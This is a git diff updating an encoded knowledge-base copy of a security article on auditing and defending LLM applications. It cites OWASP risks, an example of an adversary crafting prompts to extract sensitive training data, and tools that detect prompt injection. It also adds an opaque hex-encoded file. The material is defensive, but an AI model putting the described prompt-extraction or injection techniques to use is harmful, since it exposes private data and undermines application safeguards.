to be benign. However, excessive requests and verbose responses in a short time can significantly increase costs. **Detection Rule Opportunity**: @@ -332,7 +332,7 @@ In the context of example 2, this working query efficiently tracks and analyzes **OWASP Description**: Failure to protect against disclosure of sensitive information in LLM outputs can result in legal consequences or a loss of competitive advantage. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM06_SensitiveInformationDisclosure.md). -**Example**: An adversary may craft prompts to extract sensitive information embedded in the training data. +**Example**: An adversary may craft prompts to extract sensitive information embedded in the training data. **Prompt**: ![](/assets/images/embedding-security-in-llm-workflows/image1.png) @@ -359,8 +359,8 @@ By routing LLM requests through a proxy, we can capitalize on specialized securi We don’t deep-dive on every tool available, but several open-source tools have emerged to offer varying approaches to analyzing and securing LLM interactions. Some of these tools are backed by machine learning models trained to detect malicious prompts: - - **Rebuff** ([GitHub](https://github.com/protectai/rebuff)): Utilizes machine learning to identify and mitigate attempts at social engineering, phishing, and other malicious activities through LLM interactions. Example usage involves passing request content through Rebuff's analysis engine and tagging requests with a "malicious" boolean field based on the findings. - - **LLM-Guard** ([GitHub](https://github.com/protectai/llm-guard)): Provides a rule-based engine for detecting harmful patterns in LLM requests. LLM-Guard can categorize detected threats based on predefined categories, enriching requests with detailed threat classifications. + - **Rebuff** ([GitHub](https://github.com/protectai/rebuff)): Utilizes machine learning to identify and mitigate attempts at social engineering, phishing, and other malicious activities through LLM interactions. Example usage involves passing request content through Rebuff's analysis engine and tagging requests with a "malicious" boolean field based on the findings. + - **LLM-Guard** ([GitHub](https://github.com/protectai/llm-guard)): Provides a rule-based engine for detecting harmful patterns in LLM requests. LLM-Guard can categorize detected threats based on predefined categories, enriching requests with detailed threat classifications. - **LangKit** ([GitHub](https://github.com/whylabs/langkit/tree/main)): A toolkit designed for monitoring and securing LLMs, LangKit can analyze request content for signs of adversarial inputs or unintended model behaviors. It offers hooks for integrating custom analysis functions. - **Vigil-LLM** ([GitHub](https://github.com/deadbits/vigil-llm)): Focuses on real-time monitoring and alerting for suspicious LLM requests. Integration into the proxy layer allows for immediate flagging potential security issues, enriching the request data with vigilance scores. - **Open-Prompt Injection** ([GitHub](https://github.com/liu00222/Open-Prompt-Injection)): Offers methodologies and tools for detecting prompt injection attacks, allowing for the enrichment of request data with specific indicators of compromise related to prompt injection techniques. @@ -463,9 +463,9 @@ In Part two of this series, we will discuss how we’ve taken a more formal appr ## Alternative Options for LLM Application Auditing -While using a proxy may be straightforward, other approaches may better suit a production setup; for example: +While using a proxy may be straightforward, other approaches may better suit a production setup; for example: - - Utilizing [application performance monitoring](https://www.elastic.co/observability/application-performance-monitoring) (APM) + - Utilizing [application performance monitoring](https://www.elastic.co/observability/application-performance-monitoring) (APM) - Using the OpenTelemetry integration - Modifying changes in Kibana directly to audit and trace LLM activity @@ -477,17 +477,17 @@ Elastic [APM](https://www.elastic.co/guide/en/observability/current/apm.html) pr ### Utilizing OpenTelemetry for Enhanced Observability -For applications already employing OpenTelemetry, leveraging its [integration](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) with Elastic APM can enhance observability without requiring extensive instrumentation changes. This integration supports capturing a wide array of telemetry data, including traces and metrics, which can be seamlessly sent to the Elastic Stack. This approach allows developers to continue using familiar libraries while benefiting from the robust monitoring capabilities of Elastic. OpenTelemetry’s compatibility across multiple programming languages and its [support through Elastic’s native protocol](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) (OTLP) facilitate straightforward data transmission, providing a robust foundation for monitoring distributed systems. Compared to the proxy example, this approach more natively ingests data than maintaining an independent index and logging mechanism to Elastic. +For applications already employing OpenTelemetry, leveraging its [integration](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) with Elastic APM can enhance observability without requiring extensive instrumentation changes. This integration supports capturing a wide array of telemetry data, including traces and metrics, which can be seamlessly sent to the Elastic Stack. This approach allows developers to continue using familiar libraries while benefiting from the robust monitoring capabilities of Elastic. OpenTelemetry’s compatibility across multiple programming languages and its [support through Elastic’s native protocol](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) (OTLP) facilitate straightforward data transmission, providing a robust foundation for monitoring distributed systems. Compared to the proxy example, this approach more natively ingests data than maintaining an independent index and logging mechanism to Elastic. ### LLM Auditing with Kibana -Like writing custom logic for your LLM application to audit and ship data, you can test the approach with Elastic’s AI Assistant. If you're comfortable with TypeScript, consider deploying a local Elastic instance using the Kibana [Getting Started Guide](https://www.elastic.co/guide/en/kibana/current/development-getting-started.html). Once set up, navigate to the [Elastic AI Assistant](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/elastic_assistant) and configure it to intercept LLM requests and responses for auditing and analysis. Note: This approach primarily tracks Elastic-specific LLM integration compared to using APM and other integrations or a proxy to track third-party applications. It should only be considered for experimentation and exploratory testing purposes. +Like writing custom logic for your LLM application to audit and ship data, you can test the approach with Elastic’s AI Assistant. If you're comfortable with TypeScript, consider deploying a local Elastic instance using the Kibana [Getting Started Guide](https://www.elastic.co/guide/en/kibana/current/development-getting-started.html). Once set up, navigate to the [Elastic AI Assistant](https://github.com/elastic/kibana/tree/main/x-pack/plugins/elastic_assistant) and configure it to intercept LLM requests and responses for auditing and analysis. Note: This approach primarily tracks Elastic-specific LLM integration compared to using APM and other integrations or a proxy to track third-party applications. It should only be considered for experimentation and exploratory testing purposes. -Fortunately, Kibana is already instrumented with APM, so if you configure an APM server, you will automatically start ingesting logs from this source (by setting ```elastic.apm.active: true```). See the [README](https://github.com/elastic/kibana/blob/main/x-pack/platform/packages/shared/kbn-langchain/server/tracers/README.mdx) for more details. +Fortunately, Kibana is already instrumented with APM, so if you configure an APM server, you will automatically start ingesting logs from this source (by setting ```elastic.apm.active: true```). See the [README](https://github.com/elastic/kibana/blob/main/x-pack/plugins/elastic_assistant/server/lib/langchain/tracers/README.mdx) for more details. ## Closing Thoughts -As we continue with this exploration into integrating security practices within the lifecycle of large language models at Elastic, it's clear that embedding security into LLM workflows can provide a path forward for creating safer and more reliable applications. These contrived examples, drawn from our work during OnWeek, illustrate how someone can proactively detect, alert, and triage malicious activity, leveraging the security solutions that analysts find most intuitive and effective. +As we continue with this exploration into integrating security practices within the lifecycle of large language models at Elastic, it's clear that embedding security into LLM workflows can provide a path forward for creating safer and more reliable applications. These contrived examples, drawn from our work during OnWeek, illustrate how someone can proactively detect, alert, and triage malicious activity, leveraging the security solutions that analysts find most intuitive and effective. It’s also worth noting that with the example proxy approach, we can incorporate a model to actively detect and prevent requests. Additionally, we can triage the LLM response before sending it back to the user if we’ve identified malicious threats. At this point, we have the flexibility to extend our security protections to cover a variety of defensive approaches. In this case, there is a fine line between security and performance, as each additional check will consume time and impede the natural conversational flow that users would expect. diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.encoded.md new file mode 100644 index 0000000000000..c86eee3415119 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.encoded.md @@ -0,0 +1 @@ +a7cb1f710860e296c9d9dcdc26b9beef3a172acc646264ada10bab533bc3fa5c1204484b09f1b87fea1e7ccf99718ab3d63f6509272635722f60f15e91ebbc707f05734f6b20bbf6fe9618597f38ba5cb3a2c8bf592aecc934c9f10523711136a7de5ef9a7366e870732211feb37008026c4980f849263f6d1777c31dc4405aca9bad0efade2abe0d2191445b4ab6a2dcd4d00e7724b45c2e4c94e5c89885ac4cf1de92b034155ed97a470a856be13f18aecd4d69c9754cde8ced8c64371717180211024aec7600b204e3027d6ec36e1046cc2530d0ec89c71127ddc681eff5943d0921d34910318ff0969564252e032f49cdb0d28359e3423fcb54ba08ad88c625483215b45fbc0d125cf4d138b50960ab70b135ecc92525eefbe28d55c87f8da8fa4c854f3c6d14da33ee49a1d16bcd898138902cd87d473a09015370fff27cdcebe0fefffccc2e0c76a06ff583c1aa7a559c9c4d7c78b4895654bdcad788f97d9cecef93f25f9edabba48f083c116d325aa23f36afd81feb5e3db780223c5e354607570d3b91eb35aeead30414351f5ac5ac1d72de4ae3d39efce1eac671807fc604f93e50c1a384a06e6c7a522c6fbe70a51400b06018737a4929faced9e2a873a713df9831195319cfaa584395c3be5683f8b84b1f8fa6acf6c52fce2f629a7e7ae96f433c5ae24806098df314b46420a8368cbec0099b1972e2621c676cbabcca845136605eb875801829ee5fca03915bc81c4402f2b24fb86b09bb398524a55db76219019b55d89a0ae41860bbc8d761f8f4fd48f54f9a23c5f5188a218d6672f8a48505404b21b58fdc2db84f9e0ebd2753d1dd4421924cf07998f73418a689b4bb696d772fcf3fa4e8da8ea47c50f904fb26c1adfc4687ac1ac25fcf37cfa24e2c1827677e0938af9c23a155b8f6b08884738ad95803cc0d29c84134281ea6046d245448882076139e9612863ace962a34fe761a9ca9407b3adc6fdcda6ef9cdeecdaad11b4c3c5fdfdb8c549d41a8767cd776166bc94144984f4fd0035daee7c5c88d183a726375f498270aeb6a3916e6ff28a020a5674cbb8169355fafcb52ae54056ea161d59f5a92c36ad82a82909e7ba7af40083fe02af9234ecc915348d008f4afe7c5611d10a1747f509f4c96b0d3a69b0e26226c577d18aed9f28598634f8f4ccf568038630a2fd218469f1aa74c900b0ffdffae369ba883ae0675cfea6ce5f6230b18fe6abb6a64319a5bdc24d99346d6b0a2f9af2a7fdbd86bc3cb3a07da49475e901e87703a49387de4c02113d6353b882fda3a39c5388aec117a85a35cca03b238a36639c8f6d841a0b67056374598795f6bfe383270b71dccb0eaedb9fff6f589759777dc77ca93d7db25e9389fccbb832e9fa02e8c62ee8a9436742d08e6d6b83be335df5c8ce596c65640a03fab38bee5c96d1824228515f551f26c70d619c77a6186e146122d72f311d411cdb99b7389aa50d0683f6ae54e951fade913c8ad4a4a53a16863eb92867ce717ed0170a56500271688247e2dfcc4188e40136e71d750ea4c061edc68f609d3ccf5f5ed1f54fbe1a4dff0d5f9ca63c83e984dd778a634835fc0db806091b4b5d75d88e4e15ad92ee01242c2306064990a0bf4bd16e3a771810d9a23b371a9087a9a9e1fd779cafb8a432a3dd70d03e1022897feff2afe906638bb591a1446a28bcf99b423242e50d6a7ffbfa32391ce9d6961554d93466706f87fdb0809d8ebe658a76c044f59633e0fff44cace208184d9942aefa59a4abf2b8833d135b631896e71780ec607cd69b870bb150aa9c1af416b48513a18cdab40d16800f1af365a72cd86d26b85859b4cca152538c50dbfb0f7a2308c25c61fbc125215af65379a8d82fa082d1b318a1956dab247d72951382894782991ff8b85bf78ef4adc31ef6cf4e3f554f8744b89984f023ac51cfdbb0f06186562ddbab02003fcd448d4eedfe9b0dcef60e92f76424760b391bb41da74a408f498581cbaa1e8f02dcf046e3190fd7c711116c7e68d87618e89feb77d30ecc1cbd98d1892984f2b5e19fc3e3f33252d7e1770352eb8b456a3a8fbcb3feeb7d2955f7d46ee3877e7a4fcc7ffc5d2e3d6467eff630d01829423d1bc3826bab5028cde94fdde1b67e67265743f92fc36e01ffacddc23fa617ddf414e06cc2d1baa61b9e4b5c5afbeef685e6c44c2f966b1617c6a0fbb8ec9882d885a88e18e7a1041942aa50eb2c736a7da61a3e3db2e754a9a6877357d4345e80e73c031a5328fde57307329b6038923b3444377b03948ed889a3876e57ea043a7ff157fd6361f2ac2f03e2cbb9f8ce48ec1e90f9d77a2bd0ae0b4ec1417d9d3d3ce70f52a089d42ed5366d960dc144b59aa0b6a0dd53d88f1839569f833cff7fafa27aa2f8ec51ede66aac73621e36fa4c634acd6fc6f847e24ec88e0d1732f73531f75cb826a66033c89a543e7f561cc8ba85f4c1c68213507e51dbb9db75c07dccf42c4aa971f30f5f9ec00330d2f3403db15ad397270070ee6c15a97027ae0efc973afca2804ebcdda8896ddc561a55a9bce10e68d767755743da86b65b3ad09d583ca519503e1018d7d4484459fff3c61e3bb4fd9d31e11b3832fd878f3b3666866dcda68bf63901fa9a46882368a56f2288093cf3a3bf8f63df249b1961a19cad09fea62f664ee817de0296e459022d9c126d8828099767a596dc1fd4f15b0d5c6ab77976e07eb80f2e01e2160d0dcc0c7ba7837cea46f46b4eec2e3902e334d8975704f7db73b73243cedc5d2f64d2220d6481e6c5543e99853e67229f21e2d18853bf7623f54ac2084993f2ef306345131579951686b7cc2fd665bdf9de57e26f1630d2634acee27402336a940b4bcaaa25de6d78f0126164d6795b376359db32fa95a82997798f687e1750187f0e3cfac2a3056b09710f628ca50fb85aad093cbbb9bdd32d064e76213c7577853ec156fc6903495d04a7da9d6b6d8126983dc934d6ab9b976acd3c8f95afc77118dd747f7dc1d4d99837b37b2edf4517922b89018414310d7a84141470a89d602e0d4bc9d5a3fe1e4edce9bc1387e29ee55bb1fc0deeb66a289fecee2472c389b1503fdcff459018628ef4bd179b8a1a33d2e3be57c509c44bf4802ef11d475af82b84489f0d6153c49001aac938c714e1b5c7c4bc5a7f5d669ef86cacf6b7ee27014cbd287e18b6e0f18e47ec75567ebb3661e6156feded21c98889b3d031ed0697c60a9934a8c5edc4ddecbd7775bdfd2acae76fcb6869550f34a957b4ed4356ae421e43678e5aaa47cda49dc9a668fe6626dddc0f540efeb81537f78f811ade9e01416f8147cf767ecbcbdf1dba3f9f84633a953899dad196d0c975f243344e3eda84e665110b09d3a708a07aeff70d0ae61755a5d939e7ae876a78b0b7935c8be964b3562afb6c7044ef1057031c543439b024e5d8e6ba89e574757863aa05ba60752e64306c89da51da5db466b9f81ec383c10bff7862adc2ef12d0c90fa4cc6d34d088bb757568feff2bb80ca037168c2e3e04e3ce41358634ab0006c9ca9c55cce5bf7edbc234ff87c844282532f24da46085ff715c92cdc0e75f5d656417a1de10d72ab9407da7a7cd3a42fb9f0a2d5dead39d79f4fc673ab1434412500e123db8d0e86c0c519204a579a5f8c050167368b8a4bae02356069a97d3e0a63609fd7d474339c15248a71375ad4eef4c3588664819294d2d67c9606eb140470c4f4305f9208be99067116b38e6f36b873b81d2ebe7183e6b91e566bdfcb4bb93e11694630b25e24736fdcc4f241fbcf26562ee358f79de02f213b43b460389ad6fb882847b94f9c071d4bcb62e3f2ce3deab6e7ad9148742008e76722cd7514dc081980aa3df122d526cbd74eaba5dddffe23c4e390035dcda252e37501177b9279fe5e43295130e64070c1bc246b8faf73c81ef6534aff887c454ba2fb3e35286c637b7c5fe7d37e1c2ec9d4e97dfcf7ef67f4141c16bd09f6a4d8141c8aabd9bca6de349a88ca1e6274f6eaa380ee48c96385fd6cc8d848e785b15849845df7f88d152a594886089dc7a98dc71619f2147ff10fa2b3926eb717fbd69e1312ad14af34cf87dccbb645b65a2cc39405f6c28049bf56e62cfc279c1551251649a4f49cd732a9dd47828169dd7ea4a227ab95b58c3abacc375a102fdad3873447984cb592bf160fe0c72317ec6ff2786ad243adc6e8ce1322d3cf2f7062ea323927b1349a9c88a24d2d1f29c6db5161a764ee8399ab215714325ab34ec177d7152f4026510e8439856f93450f003a9d0076327fa21a0a47f709c2def5573ecfb9f803815080862567ae15da214c98856c31b2d0b494a4aa4e5e36b6db2a684aca54798e8b4315c46b076961be44d578e3d20c794f6bdf6002ca7aab8e49e650cf6c78841837d732a5606e8b12fe935a85fe9ef39243e12955c43cb88d65ef0a261b4025b5054b01a441ece83febfe8797cce53e02768d51ec0e3696ef42b8a1da224480d665693573bcc30f1a6e21e165687de38be22cd693aeb8b4c284494e93c319cd2dea651cb821f81b27f01553a25ebe67c2f1821d7c5505751167c0a3d7967dcdd16197e87b820234d7176417ffb45dd3afd00a0505285fbca8ae151dfc5a42eed44593a2b6270e69a5f7337fe4f29150d58aac40d4956a28b3c17efd3047ec6eeac60e481a35ca3cb279db62e696d5594599eb11889425837458be084d149fc3d4b7b133d93b245a5f9b9ed4b65b6f49a19ac6b1dacda90e63ab4c869e18da9e8ff47bf57356312496d2f627a65b489b36885819ea876bc906e728f95524880a992c22b0d5ffa8315a7473959cd920997d919d678b5087c3b779d4b06589edd7380d89b17fbed9f31914b03530f42f0242aaab203df157cfc269a5d3172f1125a4b104700cc9cfb843a4415f2b115f4a2937bcd69081e09c19eab36e1093d7c5487afa9682b8953279e7b3aef89c1e792eb41dbddc1063ee16e6b35b6f66eb69ae95e50303ed0334efdbf798ecd7460f34013bcc7d7b12d4fe85311252cd6c1ef4efbc4c1e8b933c7cb68aa4ff79cb4809361f82b4436a9f1c085c178a6281567b917d9d050bbe87fe41ad5341b8f17fa23add05b5356069a97d3e0a63609fd7d474339c15248a71375ad4eef4c3588664819294d2d772cef87b9329fb357c14eff7a980731a74eae1a9bacb92cf1ca885bf61b4832d6a0e263f4d618cd05f9e5aaa992ac0570cd6ab0935db5f2f35e2f737d9f49879367feb697a60e726c184c7439b4bf7e0598f169ad024935e5e3ec2493ec7e030615d167af66eab8463bc87e1060fb91a4a4311586e4d44051ceb051398def1c174e5246b13e3d6b12c886a3a2dd3903d0a4762b3b09dd3557ae8c6ddde35ebda0e37cf35e4344c11cc3c7163bcc8cbe1677ca94d3f577e6045836c75b9e2b4f47ef1a8b03d945658ace2b0819ad8cc69166ad918a976e841c35c51926b0f2be5abeeb4e8099c69a897a21017b85bf0aeaf6185fffd9150bf635a3478a4104e051fff73910d9dd2ed13ed905629e1c65ce3a0ce4190cd565cfb981567b1abd7082f5c231914936a148ad2927420bc596d9f6890c0a4ccc71255856a9cbda4f0fe05755bf0d92d075ec9ec6a4b8aff764bb43e32d24147636d0143f4983eaf120a69fef73174508d97a02a1d0c1ec9cbb1a59bcad8714db1553ce014fdf89862291234e909d809c4b11a67d0016fa5a93a5ae4658727b050920825806e58e0063b7a987ff205d4f5678990eb9c08b847e5ab9504ec64e31ccd9a538b09e994dd45e9cbffa2a8d7e573f55401ec4b036ce3acb82e56a482290e35aa195dfea4ee2d84957a6788f726f97a1960603c6051897546746cd35ec9ff62d7666b94ec62e5aa40edff536a8415f5dcceac2ea12255c8aa4a516eb8b537f89f1bdaaa4967c96487ce13cb9339dd765492d879ca2940b974457c1d005754b780335867f67c1f549f87796628db52af0c2071a9a5750b19f50b6952e22f108089046126f12f5cfb2ec118cd3c758d643bf905e1cf615f7791c4a5e650191a35a1ad8282022cb957b976f000718d258c6f2211bb921d2e4b3cb07737a757532ad32a1ddce470606b6ce2dcbe8e0cda5ea44eb6430f18d2955f2f37911961287031840fdca1bb22d5146cdaf82416c8dbee8eb0b5d7c7c3434cad811abc0cf229e5c3b74a4fa3ff07b7dc6af0dc44eccd7506476ddf9c34c659bab292ded98a7663213a105f9e12884a9458d3d6b2039003eb8bfc164c3495e0f71b3fed2015c4a8b68bd3872213d987ae2b9d9b547b91f812b43b8af5879b72f03bbdd72a1ddf771a443ea32071dbb5fc03f65108bf7c3eb8d44553bdff1ed91ba0aaecb0efe58e7599e0ffb09403f61283fb107a1f7b8717c522ad300765edb3c0055931656a91aa56fb74477e98f4d86a8d4035ac75cf1d15ff20c2919a51c451650e7f10b3b3d47298b37f105fd7314ad58107efdea038bcdba0f0bc2412431e4e5597f0d2f096b82beda0516c7a056143d967592a0f79aee3aa49f241d10501b58a6fd113bc409649f832a7074574ad41afade4b7fd6891880552742b9493d6772fcc3424a7a40bb89e599c691a600af0912d645a302d3e5762bda92633c33626fbefb6ee2ed3d3543d0045f952029c10d3e1d988ab5bf46a0f2c28e28bc3c4a22b774d422548969784d8d3b9e901dfc2e93d3a320a03c1453a7cc4bcc763f50c01469f71b525545df0a8d5490055ab0c34c7d4cf5386cef7bb43a8d713a3f57cc1ca539f2f2ee6cd7ff13660556dad8039a1aff80eb08cc3c0d0276a5b46403466a697706964a2e5a3d5cadda4a88d897ae4de7e9781a68863870c9772b93ea11fb33cdd1d6f3b8a16bea0b10ad677d39b3b30c492f4e3790dc147dea45a81f7281fc1533243233bb66a7dc09bedb08b50400a5796c7e19bc867a99f4df9c33db6da8358b0919af14f6e7a21f8260041a7280e817b1f1231cc6a47e152c00f28e3404aed999de8430581e71cdd5dcb3bce1dd4f52e3b045c309753326deeac1aad125439b64d85d14a084988c1d3cf218d959d5566e19d762f6facd6c589e880665cd7be87ed288906fcd9d5aafd0afc729e0f85b6f694c5c17453d99951e86ae323d24f0b94bf629f800b2b1f5d009d9f533adc0f1ceb367cf4b3b19d3e376ae68c149afae544301af2c55852de3fb9ff1dc1ea755076e4a0774ed086d9e26a6e7cc27be7541399f7074c2f0cf67730c10399cbc3dd73f972d4284173e7af4b8c1eab405e18df97440b52cf2848c52b0ee70bb8a68adf10c0f732ac1e1be8eccd95057224fe981279386f864079c3145389834a97fdec06293a7211ff23ef054f61d6a73198a0729219dd39d6ec295e6b590ceb3fd38f5ba8aea2353f471dd9ab037a45030445aeaf365422b14d18f0785875b6bf179888f8aa03f25da89074f32bc7ca453cb934bb5910fa2e600224b7dda5f4b6fbfed907ca56aa05bb29d9d46c54e2ba65224e6e17bd01fb409c3d9056cdeb1e808bb0f2f07f46d913954e996e72a610b97511a75581257e64a6ea629006542f9a68d45d0feaefec7c4c153ec6a767b73949df07f8bd554d883c6c5d945fc46e5297eaeca2eaed2c381863f55517bb2f1e91428e7672cbb3596da6fecf9d112620cab562d7c7b73f03ea734df36b78ea4929dbfc8559dc1171fc52c2bb4198202b42a2e26e0293b2a187c58314113a177748924774e0b9409538010767160b321c56f9dc9b93cf2f7062ea323927b1349a9c88a24d2d1f29c6db5161a764ee8399ab215714325ab34ec177d7152f4026510e84398565274c85aeb3612afae876a5782290ed4d718b7673b34132613f1d0c88c78c5822d8671a05c9af7ab44596a792da1672ed43b2b3eb66c61faf17db5e3a8f2a135802556f651ed385e40fd66fe5347ff69d2bcb935dd4ebfd216cdf2da818ed0a2a97fa0df80b55b01aac98eb37c5edc788613058b48698dcdad43a61a3ed264b3f7f82d3c25e591c388c230e6a9e1ec92ca27e45438995bade57fdedb9f2fff41a5590aa7eac1974c3ad628317e8a46a282dfebec401ca6cf4b57efb25a7d9e62d94166e7e66b0c251088c149550bc88a05cfebf7fd9ed3c1de999d5c16c45a636c72feb0633a29f1d372c07f4c545730caa14c38c12573e7204c743a17a67063c221a5b91fd2b2fff76288a08e3a214dd7a2a2eeaf8cc2816b5c0b1aea168133a4606a73825c35eeb6c63946239c6ffde7a64e757e45117605b479345acbd5a1b27d4800cfe1461f92e7a7d5bfccac87d3375e7122475ab33a6053f3d1704746b45a522de184318f1df5a1c12eb1e83f0b30d76c796704f27c789466f64b8b7cb04f4f9119c1c46207805ecc04de1f1ef5891a8c9c10717040450c8e7d45f7467a1ea2fdb187b43f06e751befa154f493b82e8e7548551022904b98efcdb392b55984881a1e0f25d416a967cb022652426b53511531703caae9b1506e214c0b0606523fb60cfcb6b0b46ed25663dc504b3f3f3c852c46abd451abef53beef02a96b4a5a7415ee07f64242523bfc12f61cfa19f9ec07d1044cd988b2f87a065073f9a77c105b6d570d2d24a34de2f13d8d621f16984866ce8ce8466270c7bdb4040613e0f740b3132d5306049a463bf71bc30a15c5ee5d2bba84db3b22f2b1f38ca27e45438995bade57fdedb9f2fff41e9dde6c715fca2764a69b4c56df609e5132ca0b585ef3796fc0698ec6d30656ec6d89b4dc8060cc59c316e9a74555139ad44adff141f25e7f59bd0b9ad48d1794f1b71499834d4e81e3881e94bca7081268f9e6f46077a8013ea86586fd46021ad9ea2e973d62b4c01d0125685c1b5ace66248fb8891bd504fb5d038f72874ec388cb5f366a09aa4e3f8667451c4e2efb8b89d2e205e0aee90e9df86c0c95b6755d06c05c9c44556320ffda97cfd67b49b70b7839b6be3f4ce09ed89aa11dd54817972b97cbbfeab718b5d2c360378e5a7b530c6161c9a44c9f4dd6729d9f9bf1b2e7f36c883d7f1f2d577d045bd57483d5d7bfcc54e1199f4d64d2fd8996f67a0577158d7c93cfdbc55068bb3133e315ba607a627242191f9e5fe6cba899a5159299ed9b22e732e9b73000e4113b6c5464c9f2a8e8a71b965926eee37189b517755b132747d9759d1482a39af771797a9f62d2f0dca7667e9c65f7ff70d0ba929e2f2d472eaa07ed13d40084aa242f89b7c0060432bd9e38c8996603f990abfe38775c8f2cd10de7f122e47d41c9e23e8373a72b606e7b9b146799848d30d744aa3d9a449d55ffb82b54e126722220a96d54eeb582ba0905b86fc169a2fd271a3cc85bbb4b0c9c12ddc909d6beeaee61053720feda14492a1f3a5a4014dc22a2ff419d4aa79098f4d08dfca01972218f6188dd2cccc55eefc24be84237c0bb4da4d936a992c238671e78cfb0b412cbed9fb53ccc1bcb166a99b6515e9c2add1407083a8d8831a0a3cc19bfc0d6cfe01b3915f2a55634c36170d507cbc79ca985114e1cd912727e8a8bf5872e4bd3ad4d5d44011625b3a0d71d96e05decde05d6c72feb0633a29f1d372c07f4c545730caa14c38c12573e7204c743a17a67063c221a5b91fd2b2fff76288a08e3a214dd90f4727e29643ce5fa4ece0a119d0e625c8e9064270609c574f217cd7edc22837063e42acfd16872232d51ca23e50443e319b2be2871987c869d8b54d09f1a9557579bd95e85c926d1c8ff2336cbaff39697d2a4760d11828578dca427b08157ad16efb753c0422f89d4078f239c535b235e6d97262b57d1e0ad5db9f3bd169301a444807c586d62fb5bce97cb1662d43af33e86fb108569c6286abe53f9a1d52918e6581771beda1fdf4f1b86e720cf867bf7cf76e6c13ac1ee61b676c6fc5b97336f9f21d7f4b02605fb188ef0322eb2585a6826a3a91a5e8f64765dd2b59dc476fc448811ecede8b58986396e2ca6d62d0655e7a4f5c9c873ae5b8c3935c08389ac1622bd0a7a29bf5a8c42a6f5f4f93ab780732e3dd46d13fbc28b80edcde8e74532e01271045b2109f7a00970edd7ec81f2008379ad5b50e10357bcf632c1cc1ada1390e6e82e80dabfff56ac9b38c80c24257a4d8667e1571a35838c4dfd5a44a3d7450579cad8c65e5cd464e4abf87ece19a919d7b79a44522ac568635563a89689f10c6458912dca80bc3e31b5beb7628079221db0355bab4ca261c3cb37378ef1d81b47cfcad562e946e8cb982e940a2da39eb2481422213384356b3611118b3a78d7df8810413401dbb86847ea73af1d71a161d3eb52bd3bfcea1988a9cb54088b2b8827734215dde9360f0773d798dca7d5300742271d32e805c25a816b74e5d24d6f4ff0d70f802b5d5d9507eb895e3d813dd4a9e3fddf80e2094caff14866b41e4583a68b4e2d1ad0561344bd2124d57ee32953a09c356c25638a9814a1b5b538c38e3e4c3e8b90911f0bc7dc9e5fab2c4c07c112ce18e6afbd45a3b611e3d6655f1f8f55bb6f7d1b90234e43ace2d5e514bf183e85e13794516647417ff0b4d0cc303549fcc70923a746a5f3d9657b625d4c5d459b53bfc96387ae22e093b0e3876713a1982364743baac4ee40ab0ec2cee98c3403874eadd2bac1c6d8d23ff00c1ae95c2fe7e95bd0b2913f92907cffbc3c9d1256754d8121ee982b977ae49d335313cadd4662c8018a2805a7cacebf5f9751f9bd6b5a9b7c05d37772b411b3b868b1f1eca42d632f6329133cab689f553852edcc4ed035bfe2fcdb38a80f9cd08bf2a8ea90ba2cad6fb1f1e7c1c11b3be70223d3ff9cf746fb3bbc651e8daf0ea6a9aeaade49e0d1dd3425f857481a45ad03e9d7b800fd0f00cc163bf449763676f4395a0a5bec46f5dc19c9bf3a27a7871a5d650852a958e91d8684aab07c6b9539c7b9ce11c29e3b984b5c58aa67c0a2f91667d660ee52d19f1c16d228fbc9726a85bd43d150fe5634de814c3fe5a017bd4761460a99b45af9778da9503354a613606c3bd85a3e26fad57ae5c8187ee8654baf551eb93f4804fa51ae5d81fee7350e06948fdda71fe290f8a7477f1ceded3ac3afecc5b14dbcbe3a79e0ea20fc0d7dffa111942059aec57434972edbafaf07251a60eede2c6825a07559ab7a6045ae599effae7d393260e2ee4c03d7bd91e2d15f4729ebc1277c8bee6a94c35cbc5a6d5490e88365be34d1609d7deceac04f27bf61961019d8c8af51b3fb0767d6bdf7c41f5447cdc01f6f7b6f9ef6006820cb19815b414b6580f11d35967c6db30854786b704a54f6710c027be2f149495d95e25d015fa3ba9d055c256bf0ee07c166865d4a5d8967ab919627c76e4988a6679be4036f52e54c026a124b83e16b65781a037c4d175522c2b38d923a427cb1fdf76aa51a6194a5e9adab75bb3e154b039391c895113b2482190e942e79921a8dae91d55f6bda64e83547847bfa34c0b709b4190ec9aceb4397307fe6cd368322c4fe7f39b3a23fc640cde723bdfe805ec083ab1b4f44ebfe080061be9a0164d45ac0baf8a9019e6bd94f741a50ce5930a1d116d67f59277dfbe90df84c4ab4a2f582b311fbabce304019409b67672e784efef86ae05074b5573d5ee695358e3060b55ace0ce81edb7c39aad2e5273ed39e059c3d61dab1f240f7a592ac0f3fc3e52fd34aa22ec39602d38c534ac43b03c9f03b06aeb7b38c9606ece35adf267713783bf17cc33b79bd3c9a10193fb9834f59478790d0da88a85a9bfc82e440f7cc28b1545d515797f91b49fe37be1e153d6405e5b177989d167c948f05e5b0e4e4f3f1d310b6a87caeba0c7093eb3413757a84dd475529d59046bd4dbeb269b5104b89de8c2be5d03424b02e7b741e270aa2d4b6a81d098b922e07af473d8ed91adb79fd129b1c579bd18dae71d3d6704b4f408d8892709aa1c5de950e6cd1a8792b700018e35f511550139d1b8adc5f6622d0d2578a86ea00921ce0242ca1bb9be44e450c670a53419cd297cc64ee9cd6736a5d3144a327e6050b29151f503817492bf6c794a8f3ab1dd05c5219d6caa888129f5febb22e711fade9421b40a34d4c4c615f4d0b7945e682d810ff95e03a1381fc5d90b78adddbb2908e34b1c1c1c1ff3bc75b4f82c077e08289c585bd3232c71fc7baca832f33102b5af9131e48aaabcdd576e2ac8a4783fec2e9258d581fdc32c6ada417f05f022153f7ca15e2ccfe62a4303e3c0da4287b0296c00827219c2b9d7caf354c5615bf70ad174ac9441573a928c63a3b115a34bfaf015ad0d1ae7e627ad11752dfd0cad974c27630deda65a273ca08e1f2a21274d819c6665a050f6846e5308b9087ecd27f5c542ed465216a2f87af154591da92fb054d4711547eca469c5b008dfecfdfe